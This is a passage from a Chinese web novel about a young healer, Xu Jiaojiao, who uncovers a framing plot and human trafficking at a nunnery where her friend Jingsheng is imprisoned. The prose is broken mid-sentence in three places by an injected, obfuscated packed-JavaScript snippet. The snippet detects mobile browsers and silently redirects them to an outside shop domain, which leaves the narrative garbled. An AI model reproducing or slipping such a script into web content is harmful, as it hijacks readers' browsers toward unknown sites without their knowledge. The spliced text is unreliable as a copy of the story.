旺儿接过糖，眼睛亮晶晶的，用力点头。 桂花看着儿子，眼圈又红了：“姑娘，你是我家的大恩人。这份恩情，我们母子记一辈子。” “嫂嫂言重了。”许娇娇温声道，“孩子好了就好。” 桂花却没走，搓着手，似有话要说。 “嫂嫂还有事？” “是……是这样的。”桂花压低声音，“姑娘，你救活旺儿的事，村里人都知道了。前几日，村西头赵大的媳妇难产，稳婆都说不行了，我想起姑娘，就……就多嘴说了句，说后山有位神医，或许有法子。” 许娇娇心头一跳：“然后呢？” “赵大连夜上山来找你，可那天下大雨，他在山里迷了路，等找到你这儿，天都亮了……”桂花声音更低了，“回去时，人已经没了。一尸两命。” 许娇娇沉默。她想起那夜确实大雨倾盆，雨声敲得茅屋噼啪作响。可若有人来找，旺财会叫，她会听见。 “那人……长什么样？” “三十来岁，黑脸，左眼角有颗痣。”桂花描述道，“穿着蓑衣，背着药箱——说是把家里能用的药都带上了，想请你去看一眼。” 许娇娇摇头：“那夜没人来。” 桂花愣住了：“可、可赵大说，他在水月庵后头那片老松林附近，真真切切遇着你了！他说那姑娘戴着斗笠，披着蓑衣，看不清全脸，但声音年纪和你相仿。他急得跪下磕头，把媳妇难产的事说了，求你快下山救命……” 许娇娇的心一点点沉下去。 桂花嘴唇哆嗦了一下，才低声道：“那姑娘……那冒充你的人说：这等污秽之事，也配来寻我？我平日行医济世，那是积德行善。妇人产育，血光冲天，最是晦气。我清清白白一个未出阁的女子，沾了这晦气，往后还怎么说亲？你且回去吧，生死有命。’” 许娇娇只觉得一股寒气从脊背窜起。那夜她根本不曾出门，更未见过什么求医的汉子。有人扮作了她。这已不仅仅是拒绝，这是诛心。 “赵大当时就急了，”桂花继续道，声音里带着哭腔，“他说他愿意把家里所有的钱、所有的地契都给你，只求你救命。可那人……那人竟冷笑一声，说：‘你那点破铜烂铁，也值得我沾染晦气？快滚，莫要脏了我的地界。’说完，就指了一条偏僻小路，说从那下山快。赵大没办法，只能沿着那路走……结果那路越走越荒，根本不通山下，他在林子里困到天亮才绕出来……” 许娇娇闭上眼睛，指甲深深掐进掌心。好毒的计！不仅冒充她拒诊，还用如此刻薄恶毒的话语，彻底败坏娇杏的名声——见死不救、贪财怕晦气、冷漠无情。更要命的是，还将求医者引入歧途，白白耽误了最后一点抢救时间。 这样一来，在赵大和所有听闻此事的人心中，娇杏就从一个可能医术不精但心善的小郎中，变成了一个冷酷自私、视人命如草芥的恶人。一旦这名声坐实，她过去救治的所有人，都可能被重新审视，甚至被说成是别有用心。 “姑娘，”桂花已是泪流满面，“这分明是要把你往死里逼啊！赵大回去后，媳妇孩子都没了，他娘哭晕过去好几次。赵大自己又悔又恨，如今卧病在床，嘴里一直念叨着……念叨着要找你讨个公道……” 许娇娇深吸一口气，强迫自己冷静下来。对方的谋划远比她想象的更周密、更狠辣。这不仅仅是阻挠一次救治，而是要彻底摧毁她立足的根本——名声与信任。 “桂花嫂嫂，”她睁开眼，目光清亮却冰冷，“多谢你来告诉我这些。这件事，你暂且不要再对旁人提起，包括赵家那边，也先别提今夜我们谈的话。” 桂花连连点头：“我晓得，我晓得轻重。姑娘，你可要千万小心啊！” 送走心神不定的桂花，许娇娇独自站在暮色渐合的院子里。山风穿过竹林，发出呜咽般的声响。 青山依旧，竹林苍翠，溪水潺潺。这处她经营了近一年的小院，一草一木皆熟悉。可如今，却感到一股无形的寒意从四面八方围拢过来。 有人在盯着她。不是求医的乡民，是带着恶意的人。 她想起水月庵那个叫静非的尼姑，三角眼，嘴角黑痣，面相刻薄。静尘说过，她常往后山来，东张西望。 会是水仙姑指使的吗？为什么？她一个被赶出村的孤女，碍着水月庵什么了？ 许娇娇想不明白，但直觉告诉她，就是水月庵在其中捣鬼。 她将银针、医书、存下的几两碎银，分别藏在屋中几个隐蔽处。又检查了门窗，确认牢固。旺财似乎也察觉气氛不对，夜里不再趴窝睡觉，而是守在门边，耳朵竖起。 一夜无事。 次日清晨，许娇娇照常上山采药。她特意选了条平日少走的小径，钻进一片密林。林中光线昏暗，鸟鸣声都显得稀疏。 采了半筐金银花，她直起腰，装作不经意地回头。 身后空无一人，只有风吹过树梢的沙沙声。 是她多心了吗？ 许娇娇继续往前走，绕过一块巨石时，忽然加快脚步，闪身躲到石后。 约莫过了半盏茶时间，轻微的脚步声传来。很轻，很谨慎，但确实有人。 她从石缝中望去，只见一个灰色身影在林间一闪而过，很快消失在树丛后。看身形，像是个女子，但不是静尘——静尘比她高瘦，那身影更矮些。 许娇娇心沉了下去。 真的有人跟踪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许娇娇手上动作一顿。 老阿婆继续道：“我活了七十多年，见过的人多了。那水月庵的水仙姑，不是个省油的灯。姑娘你一个人住在这儿，凡事要留个心眼。” 施完针，送走老夫妇，许娇娇站在院中，久久不动。 连外人都看出不对劲了。 她不能再被动等待。 当日下午，她锁好门窗，带着旺财下了山。没去落溪村，而是绕道去了石桥埠，找到孙二根家。 金桂正在院里晾衣服，见她来，又惊又喜：“娇杏姑娘！你怎么来了？快进屋坐！” 许娇娇摆手：“婶婶，我不进去了。有件事想托您转告李阿婆。” 她将近日有人跟踪、水月庵可能对她不利的事简单说了，末了道：“请阿婆最近别上山找我。若有人问起我的事，就说不知道。” 金桂听得脸色发白：“这、这可怎么是好？姑娘，要不你来我家住吧？虽然简陋，总比你一个人在山里强。” “多谢婶婶好意。”许娇娇摇头，“我自有分寸。只是劳烦婶婶转告一声，让阿婆别担心。” 离开孙二根家，许娇娇没立刻回山。她站在村口，望着通往水月庵的那条路，心中有了计较。 既然避不开，那就迎上去。 她需要知道，水月庵到底想做什么。 第二日，许娇娇换了身最旧的衣服，头发随意挽起，背了个空竹筐，装作采药的模样，往水月庵方向走去。 她没走正路，而是从侧面山林绕过去，在一处能俯瞰庵堂的高坡上停下，躲在树丛后观察。 水月庵比她想象的更大。前后三进院落，青瓦白墙，飞檐翘角，庵门紧闭，门楣上“水月庵”三个字已有些斑驳。庵后有一片菜园，几个灰衣尼姑正在劳作。 许娇娇看了约莫半个时辰，没见什么异常。正打算离开，忽见庵门开了。 出来的不是尼姑，是个男人。 14. 第14章 水月庵有猫腻 男人三十来岁，锦衣华服，腰间佩玉，身后跟着个小厮。他站在庵门前，与送他出来的尼姑说了几句，便上了停在路边的马车。 那尼姑许娇娇认得——正是静非。 她站在门口，目送马车远去，脸上露出一种与出家人极不相称的谄媚笑容。直到马车看不见了，她才转身回庵，关上了门。 许娇娇心中疑窦丛生。 水月庵是尼姑庵，怎会有男人出入？看那男人的衣着打扮，非富即贵。静非对他的态度，也过于恭敬热络。 她想起李婆子曾说，水仙姑颇有姿色。又想起静尘欲言又止的神情。 一个念头浮上心头，让她不寒而栗。 若水月庵并非清修之地，而是藏污纳垢之所，那她这个住在后山的隐患，自然要清除。 水仙姑怕她这里人越来越多，会不小心暴露水月庵中的猫腻吧！ 许娇娇悄悄退下山坡，快步往回走。 回到茅屋时，已是午后。她关紧院门，坐在屋中，心跳如擂鼓。 若真如她所料，那她的处境比想象中更危险。 怎么办？ 离开这里？可她无处可去。落溪村回不去，其他地方人生地不熟，一个八九岁的孤女，又能躲到哪里？ 留下？就要面对不知何时会来的算计。 许娇娇第一次感到如此无助。前世她是中医师，有医院为依靠，有法律为屏障。可在这里，她孤身一人，无亲无故，连个能商量的人都没有。 窗外传来旺财的叫声。 许娇娇起身开门，见旺财正冲着篱笆外低吠。她顺着望去，心头一紧。 静非站在篱笆外，似笑非笑地看着她，那目光不像出家人应有的平和，倒像打量一件碍眼的物什。 “小施主在家啊！”静非开口，声音尖细，带着一种刻意拿捏的腔调，“贫尼奉庵主之命，来跟小施主说几句话。” 许娇娇定了定神，打开篱笆门，侧身让开：“师太请进。” 静非却不动，只抱着胳膊，上下将她刮了一遍，嘴角撇了撇：“哟，前两年病得只剩一口气，被扔在这破茅屋自生自灭，没想到如今不但活过来了，还摇身一变，成了能起死回生的活菩萨了？可真是能耐。” 许娇娇心中警惕，面上却不露分毫，只淡淡道：“静非师父说笑了，不过是略懂些草药，帮人看看小病小痛罢了。” “略懂？”静非嗤笑一声，向前踱了半步，“你爹许大郎在时，倒是个真有本事的。可惜啊，好人命不长。留下你这么个……”她顿了顿，目光像淬了毒的针，“……祸害。” 许娇娇后背微微一紧，指尖冰凉。 “家父确是采药人，也略通医术。我不过是捡了些他留下的皮毛。”她语气依旧平静的道。 “狡辩。”静非像是听到了什么笑话，三角眼里闪着恶意的光，“落溪村谁不知道，许大郎的闺女是个天生的聋哑傻子，七岁就克死了爹娘，被村里当扫把星赶了出来。 后来庵主好心收留你，你却不知好歹，又克了庵堂，让观音震怒，走了水，烧坏了大半边。庵主将你送去山上茅屋养着。怎么？如今不但耳朵灵光了，嘴巴利索了，连死人都能救活了？莫不是……被什么山精野鬼上了身吧？” 这话已不仅仅是打探，而是赤裸裸的恶意中伤，甚至带上了乡野最惧怕的鬼怪之说。若传出去，足以让愚昧的村民对她再生恐惧与敌意。 许娇娇抬眼，目光清凌凌地看向静非：“病好了，是老天爷开眼，佛祖垂怜。静非师父是出家人，难道不信因果，不信人有转机么？” “佛祖垂怜？”静非像是被出家人三个字刺了一下，脸色微沉，逼近一步，声音压得更低，带着一股阴冷，“扫把星，别跟我耍嘴皮子。这后山是水月庵的地界，你一个不清不楚的扫把星在这儿妖言惑众，聚众敛财，扰了佛门清净，碍了贵人眼。庵主菩萨心肠，容你到今日，已是慈悲为怀。” 许娇娇不退反进，微微仰头看着她：“我在此居住，开荒种菜，采药自足，从未踏足庵门半步，何来扰了清净？为贫苦乡邻诊病，分文不取者居多，何来敛财？静非师父是亲眼见了，还是听了谁人妄言？” “妄言？”静非眼中厉色一闪，忽然扯出一个古怪的笑容，“前日夜半，青坑村赵大冒着暴雨上山求医，寻你救他难产的媳妇儿，你可知道？” 许娇娇心下一沉，知道正题来了。她面色不变：“那夜大雨，我早早歇下，不曾有人来访。” “没人？”静非故作惊讶，声音却尖刻起来，“可赵大亲口对人说，他在后山松林边，遇着了一位戴斗笠的小娘子，自称娇杏。他跪地哭求，那娇杏却嫌妇人生产血光污秽，怕坏了自家清白名声，硬是将人斥走，还指了一条荒废的死路……结果，一尸两命。” 她盯着许娇娇瞬间苍白的脸，语气愈发阴毒：“赵家如今办着丧事，赵大恨得咬牙切齿，发誓要讨个公道。你说，若他知道真正见死不救、害死他妻儿的人就躲在这里……会怎么样？” 许娇娇只觉得一股寒气从脚底窜起，瞬间蔓延四肢百骸。她早知对方构陷，却没想到静非竟敢当面如此颠倒黑白，将冒充者的恶行扣在她头上，还摆出一副，我已知晓一切的威胁姿态。 她强压住翻涌的气血，声音冷了下来：“静非师父，说话要凭良心，更要有证据。你说那人是我，有何凭证？我亦可说，是有人冒我之名，行恶毒之事，意图栽赃陷害！” “凭证？”静非像是听到了什么幼稚的话，轻笑一声，带着怜悯般的嘲讽，“这荒山野岭，黑灯瞎火，谁看见了？赵大认定了是你，苦主的话，就是最大的凭证！至于冒名顶替……谁信呢？大家只会记得，是你娇杏，见死不救，害了人命！” 她顿了顿，欣赏着许娇娇紧绷的神色，慢悠悠地道：“庵主念你年幼无知，给你指条明路。三日之内，收拾东西，离开此地，永远别再回来。否则，等赵家带人找上门，或是这见死不救、庸医害命的名声传开……到时候，可就不是请你自己走那么简单了。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222025|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢，她不再多言，转身便走，灰色的僧衣在暮色中晃出一道冷硬的影子。 许娇娇站在原地，篱笆门在她面前轻轻晃动。山风渐起，吹得她单薄的衣衫紧贴在身上，冰凉一片。 静非的话，像一把淬毒的楔子，狠狠钉进了她的处境。对方不仅布好了局，连后续的逼迫步骤都算计得清清楚楚。 离开，或者身败名裂，没有第三条路。 这一日，许娇娇采药归来得早。 晨起时天色就灰蒙蒙的，到了午后，西风愈紧，吹得竹林哗哗作响，山间雾气沉沉。她抬头望天，心中警觉——这怕是要变天了。 顾不得整理新采的草药，她急忙将院子里晾晒的药材一一收进屋。黄精、石斛、柴胡……这些药材最忌潮气，若被雨雪打湿，这大半个月的辛苦就白费了。 刚把最后一簸箕收进屋，豆大的雨点便噼里啪啦砸了下来。起初只是疏疏落落，不多时便连成了线，淅淅沥沥，打在屋顶茅草上，激起一层水雾。雨丝中，竟还夹着几点细碎的雪花——这是要落雪的前兆。 许娇娇站在屋檐下，望着灰蒙蒙的天空，心中却莫名不安。 这种不安，已萦绕了她好些日子。 自从静非三日前来威胁后，这种不安就萦绕不散。三日之期已到，她打定主意不走——走了便是认了那莫须有的罪名，更坐实了心虚。但静非那日临走前阴冷的眼神，让她知道事情不会这么简单结束。静尘师姐，已经整整半个月没来了。 从前，静尘每隔三五日便会来一趟，有时送些米粮，有时只是坐坐，说些山下的见闻。可自上次一别，至今杳无音讯。许娇娇记得，静尘时常叮嘱她：“小施主，切记勿要踏进水仙庵半步，便是路过也要绕行。” 那语气里的郑重，让她记到了今日。 她确实从未靠近过水仙庵，采药都刻意避开那条小路。可时间一天天过去，静尘却始终没有出现。许娇娇想过几种可能——或许是静尘下山化缘未归，或许是庵中事务繁忙…… 想到此处，许娇娇心中泛起一阵寒意。 她记起水仙姑那张看似慈悲、实则狠毒的脸。想起前几天静非那张狂的模样。她们将七岁的娇杏罚跪在冰天雪地、扔进破茅屋自生自灭。她们就是彻头彻尾的杀人凶手。若非自己穿越而来，若非这副躯壳里装着三十多年的灵魂，真正的娇杏只怕早已化作一具枯骨。 这样的恶人，如何能成为一庵之主？ 什么样的事务，能让静尘连抽空来一趟的工夫都没有？ 雨渐渐小了，雪花却密了起来。细白的雪沫子在风中打着旋，落在还未完全枯黄的草地上，很快就化成了水渍。天色愈发昏暗，看这架势，傍晚真要下大雪了。 许娇娇在屋里踱了几步，终究坐不住。 她换上最厚实的棉袄，将旺财关在屋里——这种天气，带它出去反而不便。又揣了把防身的短刀，这是李婆子上次送来的，说是山里野兽多，让她留着防身。 推开院门，风雪扑面而来。 15. 第15章 静尘被关押 水仙庵坐落在半山腰一处平缓坡地，背靠山崖，前临溪涧。平日里香火虽不算鼎盛，但逢初一十五，总有附近村落的妇人前来上香。今日既非朔望，又逢雨雪，庵门前冷冷清清，两扇厚重的木门紧紧闭着。 许娇娇没有走正门。 她绕到庵侧，那里有一段年久失修的矮墙，墙根处有个不起眼的缺口，是野猫常钻的地方。静尘曾无意中提过这个缺口，说偶尔有小猫钻进来偷吃供果。 左右张望，四下无人。许娇娇矮身从缺口钻了进去，动作轻巧如狸猫。 庵内静得出奇。 前院的观音殿门虚掩着，殿内香火已灭，供桌上的烛台蒙了层薄灰。平日洒扫庭院的小尼姑一个不见，连诵经声都听不到。整个庵堂死寂一片，只有风吹过檐角铃铛的叮咚声，衬得这寂静愈发诡异。 许娇娇心中不安更甚。她贴着墙根，蹑手蹑脚往后院走去。 静尘住在后院最西头的一间厢房，与庵主水仙姑的住处隔着一道月亮门。往日里，这里总能听到静尘诵经或捣药的声音。 今日却什么也没有。 许娇娇走到静尘房前，正欲抬手叩门，忽听隔壁传来一阵异响。 那是……男子的声音？ 她浑身一僵，屏息细听。雨雪声中，隐约有男女调笑之声，夹杂着杯盏碰撞的轻响。那女子的笑声娇媚轻浮，全然不似佛门清修之人应有的庄重。 是水仙姑的房间。 许娇娇心跳如鼓。她想起静尘曾经的欲言又止，想起那些未说完的警告，一个可怕的猜测浮上心头。 她猫着腰，悄无声息地挪到那间房的窗下。窗纸糊得厚实，但年久破损，有几处细小的裂缝。她凑近其中一道缝隙，眯眼往里看去—— 只看了一眼，便如遭雷击，猛地缩回头，背脊紧紧贴在冰冷的墙壁上。 屋里燃着炭盆，暖意融融。水仙姑穿着一身藕荷色绸衫——那绝不是尼姑该穿的衣裳——正斜倚在一个男子怀里。男子微胖，看年纪约莫二十七八岁，面容白净，穿着锦缎长袍，腰间佩玉，一看便是富家子弟。 两人坐在榻上，中间摆着张小几，上面放着酒壶杯盏。水仙姑举杯喂那男子喝酒，眼角眉梢尽是风情。 “大官人，这大雪天的还跑来，也不怕冻着。”水仙姑娇嗔道。 男子搂着她的腰，笑嘻嘻道：“想你了呗！这破庵里也就你能解闷儿。对了，你那小徒弟……叫静尘的那个，今日怎么没见？” 水仙姑脸色微变，随即笑道：“提她作甚？一个榆木疙瘩，整日就知道念经。” “我瞧她生得倒还清秀……”男子话未说完，被水仙姑拧了一把。 “怎么，瞧上她了？”水仙姑冷笑，“那可是个烈性子，前头我让她去伺候吴员外，她宁死不肯，还拿剪子抵着脖子。要不是看她还有几分用处，早打发出去了。” 许娇娇在窗外听得心惊肉跳。 静尘师姐……竟然经历过这些！ 男子讪笑两声，又压低声音：“新到的那批货怎么样了？东边催得紧，说是上回那几个都不错，这次要加钱。” 水仙姑懒懒道：“急什么？这不正调教着么。有两个不听话的，关在柴房饿两天就老实了。还有一个是家里嫌弃的傻丫头，都不用调教，直接送过去。” 许娇娇浑身血液仿佛瞬间凝固。 她忽然想起静尘曾无意中说起——水仙姑每隔一阵子就会收留几个孤苦无依的小姑娘，说是让她们在庵里修行。可那些女孩来了不久便不见踪影，水仙姑只说她们“尘缘未了，还俗去了”。 原来……竟是这般还俗！ 屋里男子又道：“最近风声紧，宋大人那边打点好了么？” “放心，每月孝敬从没短过。”水仙姑轻哼，“咱们做的这买卖，他拿了大头，还能不护着？再说了，那些丫头要么是家里不要的，要么是逃荒来的，谁会在意？” “还是你厉害，借着庵堂做幌子，神不知鬼不觉……”男子的话越来越轻，渐渐变成暧昧的低语。 许娇娇不敢再听，沿着原路悄然后退。雪越下越大，地面上已积了薄薄一层，踩上去咯吱作响。她每一步都小心翼翼，且踮起脚尖走路，怕留下印子，让静非或者庵里其他人发现，惊动屋里的人。 退到月亮门时，她回头最后望了一眼庵堂，庵里悄无声息，所有房门紧闭，窗内无光。 静尘师姐……到底在哪里？ 许娇娇没有立刻离开水月庵。 她绕到后院西侧的柴房附近——那里有一排低矮的厢房，是杂役和未剃度的小尼姑住的地方。往日来时，总能看到几个小尼姑在院里洗衣洒扫。 今日却空无一人。 许娇娇正疑惑间，忽听柴房后传来低低的啜泣声。她循声望去，只见一个十二三岁的小尼姑蹲在墙角，肩膀一耸一耸，哭得伤心。 是静尘的小师妹，静心。 许娇娇认得她。静尘曾带她来过茅屋两次，是个胆小怯懦的小姑娘。 “静心？”许娇娇压低声音唤道。 静心吓了一跳，猛地抬头，见是许娇娇，更是慌乱：“你、你怎么来了？快走！被庵主看见就糟了！” “静尘师姐呢？”许娇娇急问。 静心眼泪又涌了出来，左右张望，才颤声道：“静尘师姐……被关起来了。” “什么？！” “前几日，县城里来了位姓吴的员外，说是要给老夫人做法事。庵主让静尘师姐去奉茶，谁知那吴员外……动手动脚。师姐不从，用茶盏砸了他。”静心哽咽道，“庵主大怒，说师姐冲撞贵人，把她关进了后山的石屋，还不给饭吃……” 许娇娇只觉一股怒火直冲头顶。 “后山石屋在哪儿？” “在、在庵后小径尽头，平日堆放杂物用的。”静心抓住许娇娇的手，“你别去！庵主说了，谁敢去送饭，就一起关进去！她已经关了三天了……” 三天！这冰天雪地的，关在不生火的石屋里，还不给饭吃！ 许娇娇转身要走，静心却又拉住她，声音压得更低：“还、还有件事……柴房里还关着两个小姑娘，是前几日送来的。一个是从人牙子手里买的，一个是被家里嫌弃的……庵主说，等凑够一批，就、就送走……” 许娇娇心头剧震。果然！水仙姑果然在做贩卖人口的勾当！ 她强压怒火，低声道：“静心，你先稳住，别让人看出异样。我去看看静尘师姐。” “你千万小心……静非专门盯着那边。”静心松开手，又缩回墙角。 许娇娇没有走正路，而是沿着柴房后的山坡往上爬。雪已经积了寸许厚，山路湿滑难行。她手脚并用，好几次险些滑倒，指甲缝里都嵌进了泥雪。 约莫爬了一炷香工夫，果然看见一处隐在树丛后的石屋。屋子依山而建，墙是整块山岩凿成，只有一扇厚重的木门，此刻正上着一把铜锁。 “静尘师姐？”许娇娇拍门轻唤。 里面传来虚弱的回应：“是……是谁？” “是我，娇杏。” 门内静了一瞬，随即响起窸窣声响。门缝里透出一双眼睛——那是静尘的眼睛，却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222026|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了往日的温和平静，只剩惊惶与茫然。 “你怎么来了，小施主？”静尘看到她，吃了一惊，急忙压低声音，“你快走！被庵主发现就……” “师姐，你怎么样？”许娇娇急问。 “我无事，小施主你快走，这里危险。”静尘声音沙哑，“你还小，我的事你管不了……” 说着，静尘悄悄转过头擦了擦眼泪。许娇娇从门缝里看得仔细，心头一阵酸楚——静尘是这个世界除了李婆子外，第二个对她无条件好的人。 许娇娇定了定神，从怀里掏出一块用油纸包着的饼——这是她出门时随手揣的干粮。又从腰间解下水囊，一并从门缝塞进去。 “师姐，你先吃点东西。我听静心说你被关在这里，已经三天没吃饭了。”许娇娇说到这里，深吸一口气，“师姐放心，我会想办法救你出来。” “别！”静尘急道，“你别管我！水仙姑背后有人，你那么小怎么斗得过她！快走，趁没人发现……” 话音未落，远处传来脚步声。 许娇娇心头一紧，闪身躲进旁边的树丛。 来的是两个粗使婆子，拎着食盒，骂骂咧咧：“这鬼天气，还得给那贱蹄子送饭……” “静非师太说了，庵主只是让关两天吓唬吓唬，还真想饿死她不成？” “你懂什么？那吴员外出了大价钱，要静尘去伺候。庵主收了银子，能放过她？” 两人说着走到石屋前，开了锁。许娇娇从树丛缝隙中看见，食盒里只有半碗冰冷的稀粥，一个硬邦邦的窝头。 “吃吧！”婆子把食盒往地上一扔，“庵主说了，再关你两天。想通了就去给吴员外赔罪，想不通……哼哼。” 门又锁上了。 婆子走后，许娇娇才从藏身处出来。她没有再去叩门，只在门外站了片刻，听着里面静尘压抑的啜泣声，心中有了决断。 转身下山时，雪下得更大了。 漫天飞絮，将山野染成一片苍茫的白。许娇娇深一脚浅一脚往回走，湿冷的雨雪夹杂着冷风直往头脸脖颈灌，冻得她牙齿打颤。幸亏她穿了厚棉袍，否则真撑不住这寒气。 可身体再冷，也比不上心里的寒意。 水仙姑不但与人偷情，逼迫尼姑卖身，更借着庵堂掩护，干着贩卖人口的勾当！那些被收留的女孩，那些尘缘未了还俗去的谎言……这哪里是什么清净佛门，分明是吃人不吐骨头的魔窟！ 静尘师姐待她如亲妹，她绝不能坐视不理。 可怎么救？ 她一个九岁的孤女，无权无势，连水仙庵的门都进不去。报官？听水仙姑和那个男子的谈话，那县令分明与水仙姑他们沆瀣一气。找李婆子帮忙？可李家也是寻常农户，如何斗得过这些手眼通天的这些人？ 许娇娇一路走，一路想，心中念头纷乱如雪。 回到茅屋时，天已完全黑了。旺财听见动静，扑到门边呜呜低叫。许娇娇开门进屋，浑身冻得僵硬，连火都打了半天才点着。 就着微弱的火光，她烤着火，思绪渐渐清晰。 硬碰硬肯定不行。 得智取。 水仙姑做这些见不得人的勾当，必然有破绽。贩卖人口不是小事，那些被拐的女孩、来往的账目、打点官府的证据……只要找到一样，或许就能撕开这张黑网。 许娇娇望向窗外沉沉的夜色，眼中燃起两簇火光。 这一夜，她坐在火堆边，一夜未眠。 心中只有一个念头：静尘师姐要救，那些被拐的女孩也要救。这水仙庵的腌臜勾当，必须大白于天下！ 16. 第16章 许娇娇求救 许娇娇一夜未眠。 火堆燃尽又添，竹墙外天色由浓黑转作蟹壳青时，她终于站起身。膝腿因久坐而酸麻，可那双眼睛却清亮得惊人，在晨光熹微中闪烁着决绝的光。 一夜思索，心中已有了轮廓。 天色放晴，昨日的雨雪大半融化，只在背阴处留下斑驳残白。山林间弥漫着潮湿的寒气，比落雪时更刺骨。许娇娇做了热粥，烙了两张掺了野菜的饼，趁热装进竹篮，用旧棉袄仔细裹好。又从箱底翻出那件厚棉尼袍——静尘去年冬天一针一线为她缝制的，她一直舍不得穿。 “旺财，走。”她轻声唤道。 小黑狗摇着尾巴跟上，乌亮的眼睛似也通晓主人心事。一人一狗踏着晨霜未消的山路，悄然往水仙庵方向行去。 石屋隐在晨雾中，寂寥如坟。 许娇娇让旺财守在进庵的缺口处放哨，小家伙极通人性，蹲在墙根下，竖着耳朵警惕四望。她这才提着篮子，悄悄摸到石屋前。 木门紧闭，铜锁森然。她俯身从门板底部的缝隙往里看——静尘蜷缩在墙角一堆干草上，身上只盖着条薄被，整个人缩成一团，瑟瑟发抖。 “静尘师姐。”许娇娇压低声音轻唤。 静尘猛地抬起头，见是她，眼中先是惊喜，随即化为浓重的忧虑：“你怎么又来了？快走……” “我给你带了吃的。”许娇娇将竹篮从缝隙推进去，又塞进那件棉尼袍，“先穿上，别冻着。” 静尘颤抖着手接过袍子裹在身上，又捧过热粥，眼眶瞬间红了。她小口小口喝着粥，热食下肚，惨白的脸上总算有了些血色。 “静尘师姐，你听我说。”许娇娇贴着门缝，语速极快却字字清晰，“昨夜我想了一夜。水仙姑做的那些勾当——逼良为娼、拐卖人口、勾结官府——我都知道了。” 静尘捧着粥碗的手猛地一颤，热粥险些洒出。她睁大眼睛看着许娇娇，嘴唇哆嗦着：“你……你怎么知道？” “我昨日潜入庵里，亲耳听见的。”许娇娇目光如炬，“她还关着两个小姑娘在柴房，对不对？” 静尘脸色煞白，半晌才艰难点头，又急忙道：“你，你不该管，你还是个孩子，若是被庵主抓到，”说着她眼泪就下来了，“那是……是两个苦命的女孩子。一个是从人牙子手里买的，才十岁；一个是被家里嫌晦气送来的，有些痴傻，才八岁……庵主说，等凑够一批，就、就送走……” “送去哪儿？” “我不知道。”静尘摇头，眼泪滚落，“我只知道，从前那些还俗的姐妹，再也没有音讯。庵里不许提她们，谁敢多问，就会挨打，会被关起来……像我一样。” 许娇娇心中怒火翻腾，却强自镇定：“静尘师姐，你在庵里这些年，可知道水仙姑有什么把柄？账本？书信？或是藏赃物的地方？” 静尘闭目思索片刻，忽然睁眼小声道：“佛龛！她屋里的白玉观音佛龛，后面有个暗格。我几年前打扫庵主寝房时无意中撞见她开过一次，里头好像藏着账册……还有，后山有个山洞，她每月都会让人搬些箱子进去，从不让旁人靠近。” “山洞在哪儿？” “石屋往东，绕过一片野竹林，有块大青石挡着入口。但那里日夜有人看守，是两个会拳脚的婆子。那两个婆子……是庵主的相好送来的。那个人不好惹。你管不了，快走吧！”静尘说着，神色慌张了起来，又喃喃自语，“这都是命……” 正说着，远处传来脚步声。许娇娇急忙示意静尘噤声，闪身躲进树丛。 来的是昨日那两个婆子，打着哈欠，一脸不耐。一个提着食盒，一个抱着捆干柴。 “这鬼差事什么时候是个头……”提食盒的婆子抱怨，“冻死个人。” “快了快了，大官人说了，再关两天，总要磨一磨她的烈性。”抱着柴禾的那个婆子絮叨，“不过我琢磨着，这庵主怕是不愿——她正和大官人热乎着，岂会让大官人沾上别的腥荤？况且她早就收了吴员外的钱财。那吴员外真是艳福不浅……”说着这婆子咂咂嘴，“听说家里还有几十房妻妾，五六十岁了，又讨了这个小的，多少人羡慕。你说这静尘是不是个傻的？那吴员外家大业大，跟着他说不定还有好日子，胜过在这破庵堂清修。” “你个老货，”提食盒的婆子呸了一口，“快住嘴吧！大官人的事咱们少嚼舌根。” “也就是静尘听话能吃苦，庵里的杂事多，水仙姑才留着她至今。若是和那些一样没用，说不定早就被卖到北边了——还能卖个好价钱。”抱柴的婆子冷笑，“就跟柴房里那两个一样。” 两人说着话开了锁，把一碗冰冷的剩饭扔进去，又把干柴丢在墙角：“自己生火！别冻死了。” 门又锁上了。铜锁扣合时发出沉闷的响声。婆子们骂骂咧咧走了。 许娇娇从藏身处出来，指甲深深掐进掌心。 这庵堂远来是个真正的贼窟。 卖到北边……好价钱…… 这水仙姑，当真将人当作货物！ 她没再多留，只隔着门缝低声道：“师姐，等我。”便悄然退出了后山。 许娇娇还是从昨日那个缺口钻进庵里，旺财跟在她脚边，耳朵竖起。前院的观音殿大门紧闭，连晨钟都没敲。静非和其他尼姑也不知去向，整个庵堂仿佛一座空庙。 她绕到后院，潜至水仙姑房外。 屋内悄无声息。许娇娇趴在窗缝往里窥看——塌桌上杯盘狼藉，酒壶倾倒，残羹冷炙散发着一股酸腐气。透过半透明的绢帛屏风，能看见床上两个隆起的被窝，鼾声隐隐。 水仙姑和那个男人，还沉在宿醉的酣眠中。 许娇娇的目光落在西墙的佛龛上。白玉观音慈眉善目，香炉里积着厚厚的香灰。她仔细打量——佛龛底座雕着莲花纹，其中一朵莲瓣的颜色似乎略深些…… 若真有暗格，证据或许就在里面。 